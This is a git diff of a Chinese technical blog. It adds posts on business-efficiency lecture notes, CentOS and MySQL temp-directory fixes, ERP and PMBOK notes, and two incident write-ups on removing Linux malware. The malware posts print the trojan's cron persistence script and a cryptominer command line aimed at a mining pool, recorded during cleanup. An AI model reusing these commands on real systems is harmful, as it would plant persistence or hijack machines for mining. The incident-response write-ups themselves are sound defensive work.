+第二，我们又用内部创投的方法。当时我问马云这200万不成怎么办？他说2个亿，输一次我们就不敢乱来了。但200万搞100个，总有一个成的，不就200万一个嘛。所以内部是有创投的方法，叫创意的环境，创投的方法。 + +才能把创新效率提高，提升这个创新的成功率。 + +那么同时，有公司有组织，就会有很多怪话，风言风语。这种方法最好是让公司又回到一个公平、公正，没有风言风语的环境。 + +比如说公司真用两个亿美金这事做成了，一定有风言风语：那个人跟马云关系好，给他两亿做成了，给我一个亿我就能做成。 + +没做成那个风凉话更难听：还是因为跟马云关系好，给他2亿美金，2亿美金没做成。 + +但这件事是怎么做成的？把自己的股权卖掉，把级别扔了，还会有人说跟马云关系好吗？不是问你报名了吗，你怎么不来。 + +所以阿里的组织在整个创新效率上，应该说成功率非常高。 + +凡是每一次我们把它还原成创业环境的，成功率就高；每次有点大公司做派，公司任命一个好像能力很强的人，抽调一个团队，公司组织资金，公司提供资源，凡是这么来干创新的，失败率都很高。 + +而创新效率的低下，不仅是对钱的浪费，也是对公司战略机会的最大浪费。所以在战略效率以后，那我要提一下创新效率的提升。 diff --git a/_posts/2017-03-16-226-weizhe.md b/_posts/2017-03-16-226-weizhe.md new file mode 100644 index 0000000..48affcf --- /dev/null +++ b/_posts/2017-03-16-226-weizhe.md @@ -0,0 +1,94 @@ +--- +layout: post +title: 卫哲：效率提升带来的新机会-笔记 +pid: 226 +tags: [mba] +--- + +3月大课 | 卫哲：效率提升带来的新机会 + +卫哲：嘉御基金创始合伙人、董事长 + +上课时间：2017年3月11日周六（8:45-12:00） + +主会场地址：广州正佳广场7楼演艺广场 + +一、如何提升个人效率？ + +面对90后的新生代员工，公司如何运用自我激励机制，来提升员工的个人效率？ + +面对90后的新生代员工：好玩比好用重要，自我驱动，自我激励是个人效率最好的来源，同时还要自我约束。 + +二、如何提高组织效率？ + +如何运用扁平化管理方式以提高组织效率？ + +互联网技术的发展带来哪些便利条件？ + +组织效率最大的问题是官僚。 + +组织效率第一点：简单才能高效（因为信任所以简单，因为简单所以高效）。 + +组织效率第二点：四个在线（员工在线、产品（服务）在线、客户在线、管理在线） + +道：最重要的是有没有在组织内建立信任，信任是组织变得简单。 + +术：有了移动互联网，有机会实现4各在线。员工在线，客户在线，产品在线，管理在线。 + +三、如何提高资产效率？ + +杜绝闲置资源和释放闲置资源，为什么是提高资产效率的不二法门？ + +提升资产效率2点： + +1. 防止新的闲置资源。 +2. 把闲置的资源释放出来。 + +四、如何提高战略效率？ + +在经济下行时期，企业规模等于效率吗？ + +什么样的服务具有规模效应？ + +战略是打出来的，不是在会议室规划出来的（战略就是发展，发展就是规模）。 + +三级规模效应理论： + +第一级：三平方公里规模效应。（餐馆、送餐） + +第二级：同城效应。（租房、找工作、搬家） + +第三极：全球效应，全国效应。（比如天猫、大润发等） + +战略就是要有一国两制，要有复盘。 + +一国两制： + +把一个试点的项目，升级到公司层面；在公司有没有特区，有没有在特区试点；战略是试出来的。 + +战略是打出来的，打是试出来的，试点要成功，是公司一定要有一国两制的机制。 + +复盘： + +有没有一国两制，在风险可控的情况下，进行试点，那些试点项目有没有尝试出来，要不要再投入。 + +战略的核心就是：取舍、排序、资源分配。 + +试点成功我取；不成功我舍。 + +都成功了，排序，优先发展哪一个。 + +排序结束，就是资源（人和钱）分配。就是有没有把最好的人，最多钱压到已经试点成功的项目。 + +五、如何提高创新效率？ + +成功的创新需要哪些必备条件？ + +如何在正确的时期选择正确的创新模式？ + +创新效率提升针对有一定规模的公司，公司越大、创新效率越低越贫乏。 + +三个“创”： 还原创业的环境，模拟、模仿创投（VC）的方法，把一个创新做到。 + + +![](/uploads/2017/03/16-01.png) diff --git a/_posts/2017-03-20-227-centos-tmp.md b/_posts/2017-03-20-227-centos-tmp.md new file mode 100644 index 0000000..b36767a --- /dev/null +++ b/_posts/2017-03-20-227-centos-tmp.md @@ -0,0 +1,56 @@ +--- +layout: post +title: Centos tmp 无法读写问题 +pid: 227 +tags: [centos] +--- +我遇到了一个奇葩的问题，我的/tmp目录，我用root登录进去，都不能读写，查看空间也都是有的，实在没有办法了，我改了系统默认的临时目录。 + +因为有很多程序都是要用这个临时目录的，所以，启动和执行，都是有问题的。 + +# 莫名其妙的 Permission denied + + [root@localhost tmp]# whoami + root + [root@localhost tmp]# touch a.txt + touch: cannot touch ‘a.txt’: Permission denied + [root@localhost tmp]# ll / + drwxrwxrwt. 8 root root 4096 Mar 16 21:49 tmp + [root@localhost tmp]# df /tmp + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/centos-root 52403200 31471560 20931640 61% / + [root@localhost tmp]# df -i /tmp + Filesystem Inodes IUsed IFree IUse% Mounted on + /dev/mapper/centos-root 52428800 561646 51867154 2% / + [root@localhost tmp]# df -k /tmp + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/centos-root 52403200 31463432 20939768 61% / + + + + +# 解决办法 + + [root@localhost ~]# mkdir /temp + [root@localhost ~]# unset TEMP + [root@localhost ~]# unset TEPDIR + [root@localhost ~]# export TEPDIR=/temp + [root@localhost ~]# export TEMP=/temp + [root@localhost ~]# chmod -R 1777 /temp + + +# 解决方法二 + [root@localhost ~]# chattr -i /tmp + + +# 扩展知识点 + +## chattr 对文件更底层的保护 + [root@localhost ~]# chattr +i /tmp 然后尝试rm, mv, rename等得到的都是Permission denied + [root@localhost ~]# chattr +a /var/nginx/error.log 表示只能追加，不能删除 + +## lsattr 读取chattr配置的属性 + +# 参考 + +[chattr和lsattr命令](http://www.cnblogs.com/sbaicl/archive/2012/11/15/2771564.html) diff --git a/_posts/2017-03-20-228-mysql-cfg.md b/_posts/2017-03-20-228-mysql-cfg.md new file mode 100644 index 0000000..80dee78 --- /dev/null +++ b/_posts/2017-03-20-228-mysql-cfg.md @@ -0,0 +1,20 @@ +--- +layout: post +title: mysql 相关问题 +pid: 228 +tags: [mysql] +--- + +# 自定义mysql tmp目录 + +## 错误 + /usr/sbin/mysqld: Can't create/write to file '/tmp/ibZ9guDH' (Errcode: 13 - Permission denied) + +## 更新临时目录 + /etc/my.cnf + [mysqld] + tmpdir=/usr/local/tmp + +## 添加权限 + chown root.root /usr/local/tmp -v + chmod 1777 /usr/local/tmp -v diff --git a/_posts/2017-03-21-229-centos-ssh.md b/_posts/2017-03-21-229-centos-ssh.md new file mode 100644 index 0000000..8989d37 --- /dev/null +++ b/_posts/2017-03-21-229-centos-ssh.md @@ -0,0 +1,16 @@ +--- +layout: post +title: Centos SSH相关问题 +pid: 229 +tags: [centos] +--- +# DenyUsers root + + [root@localhost ~]# vim /etc/ssh/sshd_config + # Example of overriding settings on a per-user basis + #Match User anoncvs + # X11Forwarding no + # AllowTcpForwarding no + # PermitTTY no + # ForceCommand cvs server + DenyUsers root diff --git a/_posts/2017-03-21-230-centos-virus.md b/_posts/2017-03-21-230-centos-virus.md new file mode 100644 index 0000000..845b473 --- /dev/null +++ b/_posts/2017-03-21-230-centos-virus.md @@ -0,0 +1,230 @@ +--- +layout: post +title: Linux下随机10字符病毒的清除 +pid: 230 +tags: [病毒] +--- +# 故障表现 + +登陆服务器执行sar –n DEV，查得向外流量输出达到120Mbit/s多，cacti显示占满总出口流量 + +# 故障判断 + +1. 关闭所有对外应用服务，即tomcat、nginx、vsftp，但关闭之后发现流量依然非常高 +2. 使用Ps –ef和netstat -ntplua检查可疑进程和端口，发现有进可疑进程netstat ps lsof等系统命令跑在/usr/bin/dpkgd目录里，而原系统命令已失效，得知系统已中木马病毒程序 + +# 故障排查 + +1. 用其他服务器上相同系统版本的命令替换回netstat ps lsof等系统命令 +2. 凭经验查看tomcat的目录内容是否存在木马程序，发现果然有L26_1000的异常程序存在，但删除之后，立马又重新生成。 + +还有木马病毒在top里面表现为随机的10位字母的进程，看/proc里面的信息，则为ls，cd之类常见的命令。杀死该进程后，会再随机产生一个新的进程，删除这些木马文件后，会再重新生成新的木马文件。由此可以判断，木马病毒会自动修复，多个进程之间会互相保护，一旦删除和被杀，立即重新启动和复制。 + +1. 被感染的文件路径列表： + + + /boot 中有随机的10位字母的进程执行文件，且有部分系统命令被替换 + /bin 中有随机的10位字母的进程执行文件，且有部分系统命令被替换 + /sbin 中有随机的10位字母的进程执行文件，且有部分系统命令被替换 + /usr/bin 中有随机的10位字母的进程执行文件，且有部分系统命令被替换 + /usr/sbin 中有随机的10位字母的进程执行文件，且有部分系统命令被替换 + /u02/apache-tomcat-6.0.41/bin 中有L26_1000的异常程序 + /etc/init.d 中有随机的10位字母的进程执行文件 + /etc/rc.d/rc[0-6]d 中有随机的10位字母的进程执行文件 + /etc/rc.local 木马已被写入启动项 + /etc/crontab 木马已被写入crontab中，每3分钟执行一次 + /etc/cron.hourly 木马已被写入cron每小时执行的脚本中 + + + +1. 木马程序处理时的具体表征： + +1) /proc/_pid/cmdline里面都是伪造的信息，ps显示的内容也一样，基本上为下面一些常见的命令，混淆管理员眼光查询线索，核验这一个，可以尝试把who等不常见的命令禁用执行权限，但随后却会发现该命令不停地出现在ps -Af里面： + + gnome-terminal + ls -a + route -n + netstat -antop + ifconfig + sh + cd /etc + bash + who + cat resolv.conf + ps -ef + cat resolv.conf + +2) ps -AfH，显示为以上的命令，但是ppid（父id）为1，则为init，所以这个应该是跟某个服务相关的。 + + ps-AfH + root 17796 1 0 11:54 ? 00:00:00 route -n + root 18008 1 0 11:55 ? 00:00:00 netstat -antop + root 18011 1 0 11:55 ? 00:00:00 ifconfig + root 18014 1 0 11:55 ? 00:00:00 sh + root 18015 1 0 11:55 ? 00:00:00 cd /etc + root 18016 1 0 11:55 ? 00:00:00 bash + root 18028 1 0 11:55 ? 00:00:00 who + root 18031 1 0 11:55 ? 00:00:00 cat resolv.conf + root 18033 1 0 11:55 ? 00:00:00 ps -ef + + +用pstree可以看到真实的名字： + + |-irqbalance--pid=/var/run/irqbalance.pid + |-jbguikdekd + |-jbguikdekd + |-jbguikdekd + |-jbguikdekd + |-mingetty/dev/tty2 + |-mingetty/dev/tty3 + |-mingetty/dev/tty4 + |-mingetty/dev/tty5 + |-mingetty/dev/tty6 + + +3) 凭经验检查crontab，经查找在/etc/cron.hourly/里面写入以下内容： + + #cat /etc/cron.hourly/kill.sh + #!/bin/sh + PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin + fori in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up&done + cp/lib/libudev.so /lib/libudev.so.6 + /lib/libudev.so.6 + + +从这个地方可以看到病毒本体：/lib/libudev.so，这个文件看起来应该是一个库文件，但是用file查看，这个文件则为一个可执行文件，请注意下面的两个文件，一个为executable（可执行的），另一个则为正常的共享库（shared object）： + + #file libudev.so + libudev.so:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,for GNU/Linux 2.6.9, not stripped + + +正常的库文件应该为： + + #file libutil-2.12.so + libutil-2.12.so:ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked(uses shared libs), for GNU/Linux 2.6.18, not stripped + + +把这个文件取消可执行权限，但是病毒故障依旧。 + + +4) 因为这个病毒不断自我启动，并且父进程号为1，所以应该和init有关，所以查看/etc/init.d，发现里面果然有启动项，删除之。在/etc/rc.d/rc3.d/里面，也有类似的好几个启动项，一并删除。 + +删除后，发现仍然不能杀死，杀死后马上重建一个新的，用lsof 查看： + + #lsof -R | grep "/usr/bin" + top 9512 9478 root txt REG 253,0 63856 421158 /usr/bin/top + fhmlrqtqv17161 1 root txt REG 253,0 625729 393335/usr/bin/fhmlrqtqvz + fgqnvqzzc17226 1 root txt REG 253,0 625740 393427/usr/bin/fgqnvqzzck (deleted) + fgqnvqzzc17229 1 root txt REG 253,0 625740 393427/usr/bin/fgqnvqzzck (deleted) + fgqnvqzzc17232 1 root txt REG 253,0 625740 393427/usr/bin/fgqnvqzzck (deleted) + fgqnvqzzc17233 1 root txt REG 253,0 625740 393427/usr/bin/fgqnvqzzck (deleted) + fgqnvqzzc17234 1 root txt REG 253,0 625740 393427/usr/bin/fgqnvqzzck (deleted) + # lsof -R + fhmlrqtqv17161 1 root cwd DIR 253,0 4096 2 / + fhmlrqtqv17161 1 root rtd DIR 253,0 4096 2 / + fhmlrqtqv17161 1 root txt REG 253,0 625729 393335/usr/bin/fhmlrqtqvz + fhmlrqtqv17161 1 root 0u CHR 1,3 0t0 4023 /dev/null + fhmlrqtqv17161 1 root 1u CHR 1,3 0t0 4023 /dev/null + fhmlrqtqv17161 1 root 2u CHR 1,3 0t0 4023 /dev/null + fhmlrqtqv17161 1 root 3u IPv4 50163 0t0 UDP *:57331 + ynmsjtlpw17272 1 root cwd DIR 253,0 4096 2 / + ynmsjtlpw17272 1 root rtd DIR 253,0 4096 2 / + ynmsjtlpw17272 1 root txt REG 253,0 625751 393426 /usr/bin/ynmsjtlpwp (deleted) + ynmsjtlpw17272 1 root 0u CHR 1,3 0t0 4023 /dev/null + ynmsjtlpw17272 1 root 1u CHR 1,3 0t0 4023 /dev/null + ynmsjtlpw17272 1 root 2u CHR 1,3 0t0 4023 /dev/null + ynmsjtlpw17275 1 root cwd DIR 253,0 4096 2 / + ynmsjtlpw17275 1 root rtd DIR 253,0 4096 2 / + +5) lsof再次查看： + +再次快速重复查看：# lsof -R ‖ grep "/usr/bin"，发现主进程不变，总是产生几个辅进程，并且一直处于dedeted状态，这说明主进程会快速产生几个子进程，然后这些进程之间相互检测，一旦检测到病毒主体被删除或更改，就会再产生一个。 + +# 故障解决 + +1. 将被感染的文件路径列表中的木马文件设置成000权限，即chmod 000，确保不再执行 +2. 删除/etc/rc.local，/etc/crontab，/etc/cron.hourly里面的木马程序配置，保证不自动启动； +3. 删除将被感染的文件路径列表中的木马文件 +4. 杀掉所有木马进程。 +5. 锁定将被感染的文件路径列表中的目录不可更改：如chattr +i /usr/bin这样保证新产生的病毒写不到里面去。 +6. ps –ef再次检查，发现木马进程后，重复以上步骤 +7. 当前已被我锁定的目录和文件如下： + + ----i-------- /etc/cron.hourly + ----i--------/etc/crontab + ----i--------/etc/rc.local + ----i--------/etc/init.d + ----i-------- /u02/apache-tomcat-6.0.41 + ----i-----I-- /u02/apache-tomcat-6.0.41/bin + ----i--------/u02/apache-tomcat-6.0.41/webapps + ----i--------/bin + ----i--------/boot + ----i-----I-- /usr/sbin + ----i-----I--/usr//bin + +# 一个例子 + + [root@localhost sysconfig]# cd /etc/cron.hourly/ + [root@localhost cron.hourly]# ls + 0anacron 0yum-hourly.cron gcc.sh lztztvbjmnd.sh snapper + [root@localhost cron.hourly]# vim lztztvbjmnd.sh + + #!/bin/sh + PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin + cp "/usr/bin/lztztvbjmnd" "/usr/bin/cfpajkkesm" + "/usr/bin/cfpajkkesm" + + + [root@localhost cron.hourly]# rm lztztvbjmnd.sh + rm: remove regular file ‘lztztvbjmnd.sh’? y + [root@localhost cron.hourly]# ls + 0anacron 0yum-hourly.cron gcc.sh snapper + [root@localhost cron.hourly]# + + + ---------------- /usr/bin/dnmjbvtztzl + ---------------- /usr/bin/lztztvbjmnd + ---------------- /usr/bin/lztztvbjmnd.sh + ---------------- /usr/bin/ccbhdubloo + + [root@localhost bin]# chattr -i /usr/bin + [root@localhost bin]# rm /usr/bin/dnmjbvtztzl + rm: remove regular file ‘/usr/bin/dnmjbvtztzl’? y + [root@localhost bin]# rm /usr/bin/lztztvbjmnd + rm: remove regular file ‘/usr/bin/lztztvbjmnd’? y + [root@localhost bin]# rm -f /usr/bin/lztztvbjmnd.sh + [root@localhost bin]# rm -f /usr/bin/ccbhdubloo + [root@localhost bin]# chattr +i /usr/bin + + + [root@localhost cron.hourly]# ls + 0anacron 0yum-hourly.cron gcc.sh snapper + [root@localhost cron.hourly]# vim gcc.sh + [root@localhost cron.hourly]# + + + #!/bin/sh + PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin + for i in `cat /proc/net/dev|grep :| awk -F: {'print $1'}`; do ifconfig $i up& done + cp /lib/libudev.so /lib/libudev.so.6 + /lib/libudev.so.6 + ~ + [root@localhost cron.hourly]# vim gcc.sh + [root@localhost cron.hourly]# ll /lib/libudev.so + -rwxr-xr-x. 1 root root 625867 Mar 21 15:45 /lib/libudev.so + [root@localhost cron.hourly]# ll /lib/libudev.so.6 + ls: cannot access /lib/libudev.so.6: No such file or directory + [root@localhost cron.hourly]# + + [root@localhost cron.hourly]# vim gcc.sh + [root@localhost cron.hourly]# ll /lib/libudev.so + -rwxr-xr-x. 1 root root 625867 Mar 21 15:45 /lib/libudev.so + [root@localhost cron.hourly]# ll /lib/libudev.so.6 + ls: cannot access /lib/libudev.so.6: No such file or directory + [root@localhost cron.hourly]# chmod 000 /lib/libudev.so + [root@localhost cron.hourly]# ll /lib/libudev.so + ----------. 1 root root 625867 Mar 21 15:48 /lib/libudev.so + [root@localhost cron.hourly]# + +# 参考 +[Linux下随机10字符病毒的清除](http://leomars.blog.51cto.com/683246/1691472) diff --git a/_posts/2017-03-21-231-centos-iftop.md b/_posts/2017-03-21-231-centos-iftop.md new file mode 100644 index 0000000..7998d69 --- /dev/null +++ b/_posts/2017-03-21-231-centos-iftop.md @@ -0,0 +1,51 @@ +--- +layout: post +title: Centos下的实时流量监控iftop +pid: 231 +tags: [centos] +--- + + +# iftop下载地址 + +https://rpmfind.net/linux/rpm2html/search.php?query=iftop + +wget ftp://rpmfind.net/linux/dag/redhat/el7/en/x86_64/dag/RPMS/iftop-1.0-0.pre3.el7.rf.x86_64.rpm + +# 安装方法 + +rpm -ivh iftop-1.0-0.pre3.el7.rf.x86_64.rpm + + +# 使用方法 + + [root@localhost ~]# ifconfig -a + enp2s0: flags=4163 mtu 1500 + inet 192.168.10.64 netmask 255.255.255.0 broadcast 192.168.10.255 + inet6 fe80::baae:edff:fe28:f992 prefixlen 64 scopeid 0x20 + ether b8:ae:ed:28:f9:92 txqueuelen 1000 (Ethernet) + RX packets 27917 bytes 2632744 (2.5 MiB) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 14697 bytes 12958964 (12.3 MiB) + TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 + [root@localhost ~]# iftop -n -P -i enp2s0 + [root@localhost ~]# iftop -n -P -F 91.109.4.94/95 -i enp2s0 + + +# 说明 + +TX：发送流量 + +RX：接收流量 + +TOTAL：总流量 + +Cumm：运行iftop到目前时间的总流量 + +peak：流量峰值 + +rates：分别表示过去 2s 10s 40s 的平均流量 + +# 参考 + +[Linux流量监控工具使用总结 - iftop](http://blog.csdn.net/jiangguilong2000/article/details/12529317) diff --git a/_posts/2017-03-22-232-centos-virus.md b/_posts/2017-03-22-232-centos-virus.md new file mode 100644 index 0000000..2044901 --- /dev/null +++ b/_posts/2017-03-22-232-centos-virus.md @@ -0,0 +1,92 @@ +--- +layout: post +title: 挖矿病毒实战 +pid: 232 +tags: [病毒] +--- + +# 找到域名背后真实的IP地址 + + + C:\Users\baoguo>ping 872037.vps-10.com + + 正在 Ping 872037.vps-10.com [91.109.4.94] 具有 32 字节的数据: + 来自 91.109.4.94 的回复: 字节=32 时间=203ms TTL=50 + 来自 91.109.4.94 的回复: 字节=32 时间=203ms TTL=50 + 来自 91.109.4.94 的回复: 字节=32 时间=204ms TTL=50 + 来自 91.109.4.94 的回复: 字节=32 时间=203ms TTL=50 + + 91.109.4.94 的 Ping 统计信息: + 数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)， + 往返行程的估计时间(以毫秒为单位): + 最短 = 203ms，最长 = 204ms，平均 = 203ms + + +# 针对IP进行监控 + + + [root@localhost sbin]# iftop -n -P -F 91.109.4.94/95 -i enp2s0 + +# 通过IP抓取端口 + + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + [root@localhost ~]# netstat -nao | grep 91.109.4.94 + tcp 0 1 192.168.10.64:22222 91.109.4.94:23 SYN_SENT on (0.99/0/0) + +# 通过端口抓取PID号 + + [root@localhost ~]# lsof -i:22222 + COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME + bash 24460 mysql 4u IPv4 535457 0t0 TCP 192.168.10.64:22222->872037.vps-10.com:telnet (SYN_SENT) + +# 通过PID号查看进程 + + [root@localhost ~]# ps -aux | grep 24460 + mysql 24460 299 0.1 381084 11488 ? Sl 10:30 384:52 -bash -a cryptonight -o stratum+tcp://1533871198:23 -u linux.kernel.bugs@gmail.com -p x -t 3 + root 25957 0.0 0.0 112648 956 pts/0 S+ 12:38 0:00 grep --color=auto 24460 + +# 尝试全文搜索 + + [root@localhost ~]# grep -r "1533871198" / + +# 在定时事务中过滤 + + [root@localhost cron]# cd ~ + [root@localhost ~]# cd /var/spool/cron + + [root@localhost cron]# ls + mysql + + */30 * * * * /var/tmp/". "/c + +# 注意病毒目录的一些细节 + + [root@localhost cron]# cd /var/tmp/". "/ 注意这个点后面是有空格的 + [root@localhost . ]# ll -a + total 4820 + drwxr-xr-x. 2 mysql mysql 31 Mar 20 22:00 . + drwxrwxrwt. 15 root root 4096 Mar 22 13:03 .. + -rwxr-xr-x. 1 mysql mysql 25424 Mar 20 21:07 c + -rwxr-xr-x. 1 mysql mysql 2979640 Mar 1 03:17 x + -rwxr-xr-x. 1 mysql mysql 1919887 Mar 1 04:33 xh + [root@localhost . ]# cd .. + [root@localhost tmp]# ll -a + total 12 + drwxrwxrwt. 15 root root 4096 Mar 22 13:03 . + drwxr-xr-x. 2 mysql mysql 31 Mar 22 13:33 . + drwxr-xr-x. 26 root root 4096 Mar 22 09:30 .. + drwxr-xr-x. 2 abrt abrt 6 Jul 20 2016 abrt + + + +# 参考 + +1. [关于服务被挖矿程序minerd入侵解决方法](http://blog.csdn.net/hu_wen/article/details/51908597) +2. [阿里云服务器被挖矿minerd入侵的解决办法](http://blog.csdn.net/tjcyjd/article/details/54140321) +3. [CentOS7安装redis被AnXqV挖矿程序入侵](http://www.setphp.com/981.html) +4. [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) diff --git a/_posts/2017-03-23-233-erp-05.md b/_posts/2017-03-23-233-erp-05.md new file mode 100644 index 0000000..4f3010f --- /dev/null +++ b/_posts/2017-03-23-233-erp-05.md @@ -0,0 +1,41 @@ +--- +layout: post +title: 05 ERP四大基石-人员 +pid: 233 +tags: [ERP] +--- + +主题： ERP项目四大基石（人员） + +ERP四大基石分别是：人员、流程、数据、工具（培训人员、整理流程、梳理数据、选择ERP工具） + +比如 + +人：企业员工 + +路：流程 + +车：ERP系统 + + +# ERP用的好的企业的员工的三个特点： + +1. 总经理是ERP系统的第一用户 + + 两个原因： + a. 为了让ERP系统给企业带来更大的价值 + b. 为了让总经理起到模范带头作用 + +2. 管理人员都有良好的全局思维能力 + + a. 目标不一致的组织行为 + b. ERP系统只是各部门协同运作的必要条件 + + 让ERP系统能帮助各部门协同运作： + a. 要培养员工，尤其是中高层管理人员的全局思维能力 + b. 要用好销售与运作规划 + +3. 所有直接用户都能熟练操作ERP系统 + + +![](/uploads/2017/03/23-01.png) diff --git a/_posts/2017-03-24-234-erp-06.md b/_posts/2017-03-24-234-erp-06.md new file mode 100644 index 0000000..6506fb4 --- /dev/null +++ b/_posts/2017-03-24-234-erp-06.md @@ -0,0 +1,165 @@ +--- +layout: post +title: 06 ERP四大基石-流程 +pid: 234 +tags: [ERP] +--- + +主题： ERP项目四大基石（流程） + +# 什么是流程 + +流程就是做一件事情所要完成的一系列步骤。 + +(在企业中，流程一直是有的，只是好与不好；我们需要从流程的角度来整理需求) + +好的流程可以提高员工的工作效率，可以提升企业的市场竞争力！ + +流程代表竞争力！ + +# 制造业七大主流程 + +计划、销售、采购、生成、仓库、财务、研发 + +# 一个优秀的管理人员，会努力做好三件事情： + +1. 不断完善和优化业务流程 +2. 经常对员工进行流程培训 +3. 挑选合适的员工放到流程上面 + +如果三流水平的员工，操作一流品质的业务流程，至少能得到二流以上的结果，经常可以得到一流的结果；而一流水平的员工，操作三流品质的业务流程，最多得到三流的结果。 + +# 流程优化六步法（业务专家+流程专家） + +1. 立项 +2. 现状流程分析及诊断 +3. 目标流程及配套方案设计 +4. IT方案设计与开发 +5. 新旧流程切换 +6. 项目关闭 + +# 创建流程模型的面谈问题 + +1. 谁是流程的客户？他们接受什么输出？ +2. 流程启始活动在哪里？终结活动在哪里？ +3. 流程是如何被驱动的？输入是什么？ +4. 谁是流程的输入者？ +5. 流程主要涉及到哪些角色？ +6. 流程的下一个活动是什么？ +7. 流程下一个环节（角色）是什么？ +8. 活动执行完了如何转到下一个环节？ +9. 活动的排列顺序如何？ +10. 还有其他人涉及这些活动吗？ +11. 活动的名称是否能反应其内涵？ +12. 流程中有哪些控制点（审核、审批）？ + + +# 流程制度文件的编写 + +1. 1.0 目的 +2. 2.0 适用范围 +3. 3.0 流程的起点与终点 +4. 4.0 术语、定义及缩写 +5. 5.0 职责 +6. 6.0 流程分类 +7. 7.0 流程图 +8. 8.0 流程管理标准 +9. 9.0 管理原则/管理规定 +10. 10.0 相关文件 +11. 11.0 模板与记录表格 + +# 流程优化方法 + + +## 流程优化方法一：流程活动增值分析表ASME + + + + + + + + + + + + + + + + + + + + + + + + +
序号活动描述活动类型时间操作者
增值活动非增值活动检查传递耽误存储
     
+ + +增值可以分两大类： + +（1）客户增值，判断标注为a.该任务是否为产品/服务提供了新的功能？b. 该任务具备竞争优势吗？c.客户愿意为此支付更高的价钱吗？ + +（2）业务增值，判断标准为：a、改任务是法律法规所要求的吗？b、改任务是否降低了所有者的风险？c、该任务支持财务报告要求吗？d、如果取消该任务该流程会终止吗？ + + + +## 流程优化方法二：哈默的流程优化九大原则 + +1. 若干种职位组合成一种职位； +2. 工作人员有决定权； +3. 业务流程中的各步骤按照自然顺序进行； +4. 业务流程有多种多样； +5. 哪里最适合，就在哪里安排工作； +6. 减少检查和控制； +7. 最大限度地减少调整工作（返工）； +8. 一个综合经理是企业同其他客户的唯一联系人； +9. 普遍实行集中运作和分散运作相结合。 + + +## 流程优化方法三：ESEIA方法 + +1. E(清除)：首先找出并彻底清除不增值的活动； +2. S(简化)：清除不必要的活动后，对必要的活动进行简化； +3. E(增加)：根据顾客/管理需要增加创造价值的活动； +4. I(整合)：对简化后的流程进行整合，使之流畅连贯并满足客户要求，在整合的过程中，要充分考虑通过并行工程来缩短运行时间； +5. A(自动化)：充分利用信息化技术自动化功能，提高流程处理速度和质量。 + + +# 描述未来业务流程的三个步骤 + +1. 整理流程清单 +2. 描述流程（主流程/支流程） +3. 设计流程 + + +## 采购主流程： + +采购申请（仓库经理）--> 采购订单下达（采购经理）--> 收料入库（仓库办事员）--> 采购发票（财务会计）--> 付款给供应商（财务会计） + +## 采购支流程： + +1. 预付款采购业务 +2. 直接发货给客户的采购业务 +3. 一次下单多次送货的采购业务 + + +# 描述主流程和支流程的目的： + +1. 作为ERP选型的依据 +2. 为下一步实施设定目标 + + + +# 观念 + +1. 大部分企业的大部分业务流程都是有问题的，并且是很大的问题。 +2. 描述流程的时候，要把重点放在结果上面。 +3. 在选型的时候，不要指望通过二次开发来增加企业想要的功能。 +4. 在整理需求的时候，不但要包括企业当前的需求，还要包括未来的需求。 +5. 会要求的人，生活品质更高。 + + diff --git a/_posts/2017-03-26-235-pmbok-05.md b/_posts/2017-03-26-235-pmbok-05.md new file mode 100644 index 0000000..a93c16e --- /dev/null +++ b/_posts/2017-03-26-235-pmbok-05.md @@ -0,0 +1,236 @@ +--- +layout: post +title: 项目管理知识体系指南（第五版） +pid: 235 +tags: [pmp] +--- + +# 表3-1 项目管理过程组与知识领域 + +(Table 3-1. Project Management Process Group and Knowledge Area Mapping) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 知识领域
(Knowledge Areas) + 		+ 项目管理过程组
(Project Management Process Groups) +
+ 启动过程组
(Initiating Process) + 		+ 规划过程组
(Planning Process Group) + 		+ 执行过程组
(Executing Process Group) + 		+ 监控过程组
(Monitoring and Controlling Process Group) + 		+ 收尾过程组
(Closing Process Group) +
+ 4. 项目整合管理
(4. Project Integration Management) + 		+ 4.1 指定项目章程
(4.1 Develop Project Charter) + 		+ 4.2 制定项目管理计划
(4.2 Develop Project Management Plan) + 		+ 4.3 指导与管理项目工作
(4.3 Direct and Manage Project Work) + 		+ 4.4 监控项目工作
(4.4 Monitor and Control Project Work) +
+ 4.5 实施整体变更控制
(4.5 Perform Integrated Change Control) + 		+ 4.6 结束项目或阶段
(4.6 Close Project or Phase) +
+ 5. 项目范围管理
(5. Project Scope Management) + 		+ 5.1 规划范围管理
(5.1 Plan Scope Management) +
+ 5.2 收集需求
(5.2 Collect Requirements) +
+ 5.3 定义范围
(5.3 Define Scope) +
+ 5.4 创建工作分解结构
(5.4 Create WBS) + 		+ 5.5 确认范围
(5.5 Validate Scope) +
+ 5.6 控制范围
(5.6 Control Scope) +
+ 6. 项目时间管理
(6. Project Time Management) + 		+ 6.1 规划进度管理
(6.1 Plan Schedule Management) +
+ 6.2 定义活动
(6.2 Define Activities) +
+ 6.3 排列活动顺序
(6.3 Sequence Activities) +
+ 6.4 估算活动资源
(6.4 Estimate Activity Resources) +
+ 6.5 估算活动持续时间
(6.5 Estimate Activity Durations) +
+ 6.6 指定进度计划
